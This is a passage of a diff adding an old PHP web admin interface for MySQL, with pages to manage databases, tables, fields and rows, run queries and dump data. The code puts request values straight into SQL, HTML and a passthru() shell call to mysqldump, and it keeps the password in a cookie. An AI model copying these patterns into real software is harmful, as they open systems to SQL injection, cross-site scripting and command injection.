width=100% height=100%><tr><td><center>\n"; +echo "<table cellpadding=2><tr><td bgcolor=#0090FF><center>\n"; +echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n"; +echo "<h1><b><font color=#FF0000>Mysql Interface v1.0</font></b></h1>\n"; +echo "<form action='$PHP_SELF'>\n"; +echo "<input type=hidden name=action value=logon_submit>\n"; +echo "<table cellpadding=5 cellspacing=1>\n"; +echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n"; +echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n"; +echo "</table><p>\n"; +echo "<input type=submit value='Enter'>\n"; +echo "<input type=reset value='Clear'><br>\n"; +echo "</form>\n"; +echo "</center></td></tr></table>\n"; +echo "</center></td></tr></table>\n"; +echo "<p><hr width=300>\n"; +echo "<font size=2>\n"; +echo "Copyright &copy; 2005\n <br>"; +echo "</font>\n"; +echo "</center></td></tr></table>\n"; +echo "</body>\n"; +echo "</html>\n"; +} + +function logon_submit() { +global $username, $password, $PHP_SELF; + +setcookie( "mysql_web_admin_username", $username ); +setcookie( "mysql_web_admin_password", $password ); +echo "<html>"; +echo "<head>"; +echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>"; +echo "</head>"; +echo "</html>"; +} + +function echoQueryResult() { +global $queryStr, $errMsg; + +if( $errMsg == "" ) $errMsg = "Success"; +if( $queryStr != "" ) { + echo "<table cellpadding=5>\n"; + echo "<tr><td>Query</td><td>$queryStr</td></tr>\n"; + echo "<tr><td>Result</td><td>$errMsg</td></tr>\n"; + echo "</table><p>\n"; +} +} + +function listDatabases() { +global $mysqlHandle, $PHP_SELF; + +echo "<h1>Database List</h1>\n"; + +echo "<form action='$PHP_SELF'>\n"; +echo "<input type=hidden name=action value=createDB>\n"; +echo "<input type=text name=dbname>\n"; +echo "<input type=submit value='Create Database'>\n"; +echo "</form>\n"; +echo "<hr>\n"; + +echo "<table cellspacing=1 cellpadding=5>\n"; + +$pDB = mysql_list_dbs( $mysqlHandle ); +$num = mysql_num_rows( $pDB ); +for( $i = 0; $i < $num; $i++ ) { + $dbname = mysql_dbname( $pDB, $i ); + echo "<tr>\n"; + echo "<td>$dbname</td>\n"; + echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Table</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname'>Dump</a></td>\n"; + echo "</tr>\n"; +} +echo "</table>\n"; +} + +function createDatabase() { +global $mysqlHandle, $dbname, $PHP_SELF; + +mysql_create_db( $dbname, $mysqlHandle ); +listDatabases(); +} + +function dropDatabase() { +global $mysqlHandle, $dbname, $PHP_SELF; + +mysql_drop_db( $dbname, $mysqlHandle ); +listDatabases(); +} + +function listTables() { +global $mysqlHandle, $dbname, $PHP_SELF; + +echo "<h1>Table List</h1>\n"; +echo "<p class=location>$dbname</p>\n"; +echoQueryResult(); +echo "<form action='$PHP_SELF'>\n"; +echo "<input type=hidden name=action value=createTable>\n"; +echo "<input type=hidden name=dbname value=$dbname>\n"; +echo "<input type=text name=tablename>\n"; +echo "<input type=submit value='Create Table'>\n"; +echo "</form>\n"; +echo "<form action='$PHP_SELF'>\n"; +echo "<input type=hidden name=action value=query>\n"; +echo "<input type=hidden name=dbname value=$dbname>\n"; +echo "<input type=text size=40 name=queryStr>\n"; +//echo "<textarea cols=30 rows=3 name=queryStr></textarea><br>"; +echo "<input type=submit value='Query'>\n"; +echo "</form>\n"; +echo "<hr>\n"; + +$pTable = mysql_list_tables( $dbname ); + +if( $pTable == 0 ) { + $msg = mysql_error(); + echo "<h3>Error : $msg</h3><p>\n"; + return; +} +$num = mysql_num_rows( $pTable ); + +echo "<table cellspacing=1 cellpadding=5>\n"; + +for( $i = 0; $i < $num; $i++ ) { + $tablename = mysql_tablename( $pTable, $i ); + + echo "<tr>\n"; + echo "<td>\n"; + echo "$tablename\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>\n"; + echo "</td>\n"; + echo "</tr>\n"; +} + +echo "</table>"; +} + +function createTable() { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; + +$queryStr = "CREATE TABLE $tablename ( no INT )"; +mysql_select_db( $dbname, $mysqlHandle ); +mysql_query( $queryStr, $mysqlHandle ); +$errMsg = mysql_error(); + +listTables(); +} + +function dropTable() { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; + +$queryStr = "DROP TABLE $tablename"; +mysql_select_db( $dbname, $mysqlHandle ); +mysql_query( $queryStr, $mysqlHandle ); +$errMsg = mysql_error(); + +listTables(); +} + +function viewSchema() { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; + +echo "<h1>Table Schema</h1>\n"; +echo "<p class=location>$dbname &gt; $tablename</p>\n"; + +echoQueryResult(); + +echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n"; +echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>\n"; +echo "<hr>\n"; + +$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); +$num = mysql_num_rows( $pResult ); + +echo "<table cellspacing=1 cellpadding=5>\n"; +echo "<tr>\n"; +echo "<th>Field</th>\n"; +echo "<th>Type</th>\n"; +echo "<th>Null</th>\n"; +echo "<th>Key</th>\n"; +echo "<th>Default</th>\n"; +echo "<th>Extra</th>\n"; +echo "<th colspan=2>Action</th>\n"; +echo "</tr>\n"; + +for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + echo "<tr>\n"; + echo "<td>".$field["Field"]."</td>\n"; + echo "<td>".$field["Type"]."</td>\n"; + echo "<td>".$field["Null"]."</td>\n"; + echo "<td>".$field["Key"]."</td>\n"; + echo "<td>".$field["Default"]."</td>\n"; + echo "<td>".$field["Extra"]."</td>\n"; + $fieldname = $field["Field"]; + echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n"; + echo "</tr>\n"; +} +echo "</table>\n"; +} + +function manageField( $cmd ) { +global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF; + +if( $cmd == "add" ) + echo "<h1>Add Field</h1>\n"; +else if( $cmd == "edit" ) { + echo "<h1>Edit Field</h1>\n"; + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + if( $field["Field"] == $fieldname ) { + $fieldtype = $field["Type"]; + $fieldkey = $field["Key"]; + $fieldextra = $field["Extra"]; + $fieldnull = $field["Null"]; + $fielddefault = $field["Default"]; + break; + } + } + $type = strtok( $fieldtype, " (,)\n" ); + if( strpos( $fieldtype, "(" ) ) { + if( $type == "enum" | $type == "set" ) { + $valuelist = strtok( " ()\n" ); + } else { + $M = strtok( " (,)\n" ); + if( strpos( $fieldtype, "," ) ) + $D = strtok( " (,)\n" ); + } + } +} + +echo "<p class=location>$dbname &gt; $tablename</p>\n"; +echo "<form action=$PHP_SELF>\n"; + +if( $cmd == "add" ) + echo "<input type=hidden name=action value=addField_submit>\n"; +else if( $cmd == "edit" ) { + echo "<input type=hidden name=action value=editField_submit>\n"; + echo "<input type=hidden name=old_name value=$fieldname>\n"; +} +echo "<input type=hidden name=dbname value=$dbname>\n"; +echo "<input type=hidden name=tablename value=$tablename>\n"; + +echo "<h3>Name</h3>\n"; +echo "<input type=text name=name value=$fieldname><p>\n"; +?> + +<h3>Type</h3> + +<font size=2> +* `M' indicates the maximum display size.<br> +* `D' applies to floating-point types and indicates the number of digits following the decimal point.<br> +</font> + +<table> +<tr> +<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th> +</tr> +<tr> +<td><input type=radio name=type value="TINYINT" <? if( $type == "tinyint" ) echo "checked";?>>TINYINT (-128 ~ 127)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="SMALLINT" <? if( $type == "smallint" ) echo "checked";?>>SMALLINT (-32768 ~ 32767)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMINT" <? if( $type == "mediumint" ) echo "checked";?>>MEDIUMINT (-8388608 ~ 8388607)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="INT" <? if( $type == "int" ) echo "checked";?>>INT (-2147483648 ~ 2147483647)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="BIGINT" <? if( $type == "bigint" ) echo "checked";?>>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="FLOAT" <? if( $type == "float" ) echo "checked";?>>FLOAT</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DOUBLE" <? if( $type == "double" ) echo "checked";?>>DOUBLE</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DECIMAL" <? if( $type == "decimal" ) echo "checked";?>>DECIMAL(NUMERIC)</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DATE" <? if( $type == "date" ) echo "checked";?>>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DATETIME" <? if( $type == "datetime" ) echo "checked";?>>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TIMESTAMP" <? if( $type == "timestamp" ) echo "checked";?>>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TIME" <? if( $type == "time" ) echo "checked";?>>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="YEAR" <? if( $type == "year" ) echo "checked";?>>YEAR (1901 ~ 2155, 0000, YYYY)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="CHAR" <? if( $type == "char" ) echo "checked";?>>CHAR</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td align=center>O</td> +</tr> +<tr> +<td><input type=radio name=type value="VARCHAR" <? if( $type == "varchar" ) echo "checked";?>>VARCHAR</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td align=center>O</td> +</tr> +<tr> +<td><input type=radio name=type value="TINYTEXT" <? if( $type == "tinytext" ) echo "checked";?>>TINYTEXT (0 ~ 255)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TEXT" <? if( $type == "text" ) echo "checked";?>>TEXT (0 ~ 65535)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMTEXT" <? if( $type == "mediumtext" ) echo "checked";?>>MEDIUMTEXT (0 ~ 16777215)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="LONGTEXT" <? if( $type == "longtext" ) echo "checked";?>>LONGTEXT (0 ~ 4294967295)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TINYBLOB" <? if( $type == "tinyblob" ) echo "checked";?>>TINYBLOB (0 ~ 255)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="BLOB" <? if( $type == "blob" ) echo "checked";?>>BLOB (0 ~ 65535)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMBLOB" <? if( $type == "mediumblob" ) echo "checked";?>>MEDIUMBLOB (0 ~ 16777215)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="LONGBLOB" <? if( $type == "longblob" ) echo "checked";?>>LONGBLOB (0 ~ 4294967295)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="ENUM" <? if( $type == "enum" ) echo "checked";?>>ENUM</td> +<td colspan=5><center>value list</center></td> +</tr> +<tr> +<td><input type=radio name=type value="SET" <? if( $type == "set" ) echo "checked";?>>SET</td> +<td colspan=5><center>value list</center></td> +</tr> + +</table> +<table> +<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: 'apple', 'orange', 'banana') </th></tr> +<tr> +<td align=center><input type=text size=4 name=M <? if( $M != "" ) echo "value=$M";?>></td> +<td align=center><input type=text size=4 name=D <? if( $D != "" ) echo "value=$D";?>></td> +<td align=center><input type=checkbox name=unsigned value="UNSIGNED" <? if( strpos( $fieldtype, "unsigned" ) ) echo "checked";?>></td> +<td align=center><input type=checkbox name=zerofill value="ZEROFILL" <? if( strpos( $fieldtype, "zerofill" ) ) echo "checked";?>></td> +<td align=center><input type=checkbox name=binary value="BINARY" <? if( strpos( $fieldtype, "binary" ) ) echo "checked";?>></td> +<td align=center><input type=text size=60 name=valuelist <? if( $valuelist != "" ) echo "value=\"$valuelist\"";?>></td> +</tr> +</table> + + +<h3>Flags</h3> +<table> +<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr> +<tr> +<td align=center><input type=checkbox name=not_null value="NOT NULL" <? if( $fieldnull != "YES" ) echo "checked";?>></td> +<td align=center><input type=text name=default_value <? if( $fielddefault != "" ) echo "value=$fielddefault";?>></td> +<td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" <? if( $fieldextra == "auto_increment" ) echo "checked";?>></td> +<td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" <? if( $fieldkey == "PRI" ) echo "checked";?>></td> +</tr> +</table> + +<p> + +<? +if( $cmd == "add" ) + echo "<input type=submit value='Add Field'>\n"; +else if( $cmd == "edit" ) + echo "<input type=submit value='Edit Field'>\n"; +echo "<input type=button value=Cancel onClick='history.back()'>\n"; +echo "</form>\n"; +} + +function manageField_submit( $cmd ) { +global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg, + $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist; + +if( $cmd == "add" ) + $queryStr = "ALTER TABLE $tablename ADD $name "; +else if( $cmd == "edit" ) + $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; + +if( $M != "" ) + if( $D != "" ) + $queryStr .= "$type($M,$D) "; + else + $queryStr .= "$type($M) "; +else if( $valuelist != "" ) { + $valuelist = stripslashes( $valuelist ); + $queryStr .= "$type($valuelist) "; +} else + $queryStr .= "$type "; + +$queryStr .= "$unsigned $zerofill $binary "; + +if( $default_value != "" ) + $queryStr .= "DEFAULT '$default_value' "; + +$queryStr .= "$not_null $auto_increment"; + +mysql_select_db( $dbname, $mysqlHandle ); +mysql_query( $queryStr, $mysqlHandle ); +$errMsg = mysql_error(); + +// key change +$keyChange = false; +$result = mysql_query( "SHOW KEYS FROM $tablename" ); +$primary = ""; +while( $row = mysql_fetch_array($result) ) + if( $row["Key_name"] == "PRIMARY" ) { + if( $row[Column_name] == $name ) + $keyChange = true; + else + $primary .= ", $row[Column_name]"; + } +if( $primary_key == "PRIMARY KEY" ) { + $primary .= ", $name"; + $keyChange = !$keyChange; +} +$primary = substr( $primary, 2 ); +if( $keyChange == true ) { + $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; + mysql_query( $q ); + $queryStr .= "<br>\n" . $q; + $errMsg .= "<br>\n" . mysql_error(); + $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )"; + mysql_query( $q ); + $queryStr .= "<br>\n" . $q; + $errMsg .= "<br>\n" . mysql_error(); +} + +viewSchema(); +} + +function dropField() { +global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; + +$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname"; +mysql_select_db( $dbname, $mysqlHandle ); +mysql_query( $queryStr , $mysqlHandle ); +$errMsg = mysql_error(); + +viewSchema(); +} + +function viewData( $queryStr ) { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby; + +echo "<h1>Data in Table</h1>\n"; +if( $tablename != "" ) + echo "<p class=location>$dbname &gt; $tablename</p>\n"; +else + echo "<p class=location>$dbname</p>\n"; + +$queryStr = stripslashes( $queryStr ); +if( $queryStr == "" ) { + $queryStr = "SELECT * FROM $tablename"; + if( $orderby != "" ) + $queryStr .= " ORDER BY $orderby"; + echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n"; + echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n"; +} + +$pResult = mysql_db_query( $dbname, $queryStr ); +$errMsg = mysql_error(); + +$GLOBALS[queryStr] = $queryStr; + +if( $pResult == false ) { + echoQueryResult(); + return; +} +if( $pResult == 1 ) { + $errMsg = "Success"; + echoQueryResult(); + return; +} + +echo "<hr>\n"; + +$row = mysql_num_rows( $pResult ); +$col = mysql_num_fields( $pResult ); + +if( $row == 0 ) { + echo "No Data Exist!"; + return; +} + +if( $rowperpage == "" ) $rowperpage = 20; +if( $page == "" ) $page = 0; +else $page--; +mysql_data_seek( $pResult, $page * $rowperpage ); + +echo "<table cellspacing=1 cellpadding=2>\n"; +echo "<tr>\n"; +for( $i = 0; $i < $col; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + echo "<th>"; + echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n"; + echo "</th>\n"; +} +echo "<th colspan=2>Action</th>\n"; +echo "</tr>\n"; + +for( $i = 0; $i < $rowperpage; $i++ ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + echo "<tr>\n"; + $key = ""; + for( $j = 0; $j < $col; $j++ ) { + $data = $rowArray[$j]; + + $field = mysql_fetch_field( $pResult, $j ); + if( $field->primary_key == 1 ) + $key .= "&" . $field->name . "=" . $data; + + if( strlen( $data ) > 20 ) + $data = substr( $data, 0, 20 ) . "..."; + $data = htmlspecialchars( $data ); + echo "<td>\n"; + echo "$data\n"; + echo "</td>\n"; + } + + if( $key == "" ) + echo "<td colspan=2>no Key</td>\n"; + else { + echo "<td><a href='$PHP_SELF?action=editData&dbname=$dbname&tablename=$tablename$key'>Edit</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablename$key' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n"; + } + echo "</tr>\n"; +} +echo "</table>\n"; + +echo "<font size=2>\n"; +echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' method=post>\n"; +echo "<font color=green>\n"; +echo ($page+1)."/".(int)($row/$rowperpage+1)." page"; +echo "</font>\n"; +echo " | "; +if( $page > 0 ) { + echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page); + if( $orderby != "" ) + echo "&orderby=$orderby"; + echo "'>Prev</a>\n"; +} else + echo "Prev"; +echo " | "; +if( $page < ($row/$rowperpage)-1 ) { + echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2); + if( $orderby != "" ) + echo "&orderby=$orderby"; + echo "'>Next</a>\n"; +} else + echo "Next"; +echo " | "; +if( $row > $rowperpage ) { + echo "<input type=text size=4 name=page>\n"; + echo "<input type=submit value='Go'>\n"; +} +echo "</form>\n"; +echo "</font>\n"; +} + +function manageData( $cmd ) { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF; + +if( $cmd == "add" ) + echo "<h1>Add Data</h1>\n"; +else if( $cmd == "edit" ) { + echo "<h1>Edit Data</h1>\n"; + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + $key = ""; + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + if( $field->primary_key == 1 ) + if( $field->numeric == 1 ) + $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; + else + $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; + } + $key = substr( $key, 0, strlen($key)-4 ); + + mysql_select_db( $dbname, $mysqlHandle ); + $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle ); + $data = mysql_fetch_array( $pResult ); +} + +echo "<p class=location>$dbname &gt; $tablename</p>\n"; + +echo "<form action='$PHP_SELF' method=post>\n"; +if( $cmd == "add" ) + echo "<input type=hidden name=action value=addData_submit>\n"; +else if( $cmd == "edit" ) + echo "<input type=hidden name=action value=editData_submit>\n"; +echo "<input type=hidden name=dbname value=$dbname>\n"; +echo "<input type=hidden name=tablename value=$tablename>\n"; +echo "<table cellspacing=1 cellpadding=2>\n"; +echo "<tr>\n"; +echo "<th>Name</th>\n"; +echo "<th>Type</th>\n"; +echo "<th>Function</th>\n"; +echo "<th>Data</th>\n"; +echo "</tr>\n"; + +$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); +$num = mysql_num_rows( $pResult ); + +$pResultLen = mysql_list_fields( $dbname, $tablename ); + +for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + $fieldname = $field["Field"]; + $fieldtype = $field["Type"]; + $len = mysql_field_len( $pResultLen, $i ); + + echo "<tr>"; + echo "<td>$fieldname</td>"; + echo "<td>".$field["Type"]."</td>"; + echo "<td>\n"; + echo "<select name=${fieldname}_function>\n"; + echo "<option>\n"; + echo "<option>ASCII\n"; + echo "<option>CHAR\n"; + echo "<option>SOUNDEX\n"; + echo "<option>CURDATE\n"; + echo "<option>CURTIME\n"; + echo "<option>FROM_DAYS\n"; + echo "<option>FROM_UNIXTIME\n"; + echo "<option>NOW\n"; + echo "<option>PASSWORD\n"; + echo "<option>PERIOD_ADD\n"; + echo "<option>PERIOD_DIFF\n"; + echo "<option>TO_DAYS\n"; + echo "<option>USER\n"; + echo "<option>WEEKDAY\n"; + echo "<option>RAND\n"; + echo "</select>\n"; + echo "</td>\n"; + $value = htmlspecialchars($data[$i]); + if( $cmd == "add" ) { + $type = strtok( $fieldtype, " (,)\n" ); + if( $type == "enum" || $type == "set" ) { + echo "<td>\n"; + if( $type == "enum" ) + echo "<select name=$fieldname>\n"; + else if( $type == "set" ) + echo "<select name=$fieldname size=4 multiple>\n"; + echo strtok( "'" ); + while( $str = strtok( "'" ) ) { + echo "<option>$str\n"; + strtok( "'" ); + } + echo "</select>\n"; + echo "</td>\n"; + } else { + if( $len < 40 ) + echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n"; + else + echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n"; + } + } else if( $cmd == "edit" ) { + $type = strtok( $fieldtype, " (,)\n" ); + if( $type == "enum" || $type == "set" ) { + echo "<td>\n"; + if( $type == "enum" ) + echo "<select name=$fieldname>\n"; + else if( $type == "set" ) + echo "<select name=$fieldname size=4 multiple>\n"; + echo strtok( "'" ); + while( $str = strtok( "'" ) ) { + if( $value == $str ) + echo "<option selected>$str\n"; + else + echo "<option>$str\n"; + strtok( "'" ); + } + echo "</select>\n"; + echo "</td>\n"; + } else { + if( $len < 40 ) + echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n"; + else + echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n"; + } + } + echo "</tr>"; +} +echo "</table><p>\n"; +if( $cmd == "add" ) + echo "<input type=submit value='Add Data'>\n"; +else if( $cmd == "edit" ) + echo "<input type=submit value='Edit Data'>\n"; +echo "<input type=button value='Cancel' onClick='history.back()'>\n"; +echo "</form>\n"; +} + +function manageData_submit( $cmd ) { +global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; + +$pResult = mysql_list_fields( $dbname, $tablename ); +$num = mysql_num_fields( $pResult ); + +mysql_select_db( $dbname, $mysqlHandle ); +if( $cmd == "add" ) + $queryStr = "INSERT INTO $tablename VALUES ("; +else if( $cmd == "edit" ) + $queryStr = "REPLACE INTO $tablename VALUES ("; +for( $i = 0; $i < $num-1; $i++ ) { + $field = mysql_fetch_field( $pResult ); + $func = $GLOBALS[$field->name."_function"]; + if( $func != "" ) + $queryStr .= " $func("; + if( $field->numeric == 1 ) { + $queryStr .= $GLOBALS[$field->name]; + if( $func != "" ) + $queryStr .= "),"; + else + $queryStr .= ","; + } else { + $queryStr .= "'" . $GLOBALS[$field->name]; + if( $func != "" ) + $queryStr .= "'),"; + else + $queryStr .= "',"; + } +} +$field = mysql_fetch_field( $pResult ); +if( $field->numeric == 1 ) + $queryStr .= $GLOBALS[$field->name] . ")"; +else + $queryStr .= "'" . $GLOBALS[$field->name] . "')"; + +mysql_query( $queryStr , $mysqlHandle ); +$errMsg = mysql_error(); + +viewData( "" ); +} + +function deleteData() { +global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; + +$pResult = mysql_list_fields( $dbname, $tablename ); +$num = mysql_num_fields( $pResult ); + +$key = ""; +for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + if( $field->primary_key == 1 ) + if( $field->numeric == 1 ) + $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; + else + $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; +} +$key = substr( $key, 0, strlen($key)-4 ); + +mysql_select_db( $dbname, $mysqlHandle ); +$queryStr = "DELETE FROM $tablename WHERE $key"; +mysql_query( $queryStr, $mysqlHandle ); +$errMsg = mysql_error(); + +viewData( "" ); +} + +function dump() { +global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename; + +if( $action == "dumpTable" ) + $filename = $tablename; +else + $filename = $dbname; + +header("Content-disposition: filename=$filename.sql"); +header("Content-type: application/octetstream"); +header("Pragma: no-cache"); +header("Expires: 0"); + +$pResult = mysql_query( "show variables" ); +while( 1 ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + if( $rowArray[0] == "basedir" ) + $bindir = $rowArray[1]."bin/"; +} + +passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD $dbname $tablename" ); +} + +function utils() { +global $PHP_SELF, $command; +echo "<h1>Utilities</h1>\n"; +if( $command == "" || substr( $command, 0, 5 ) == "flush" ) { + echo "<hr>\n"; + echo "Show\n"; + echo "<ul>\n"; + echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n"; + echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n"; + echo "<li><a 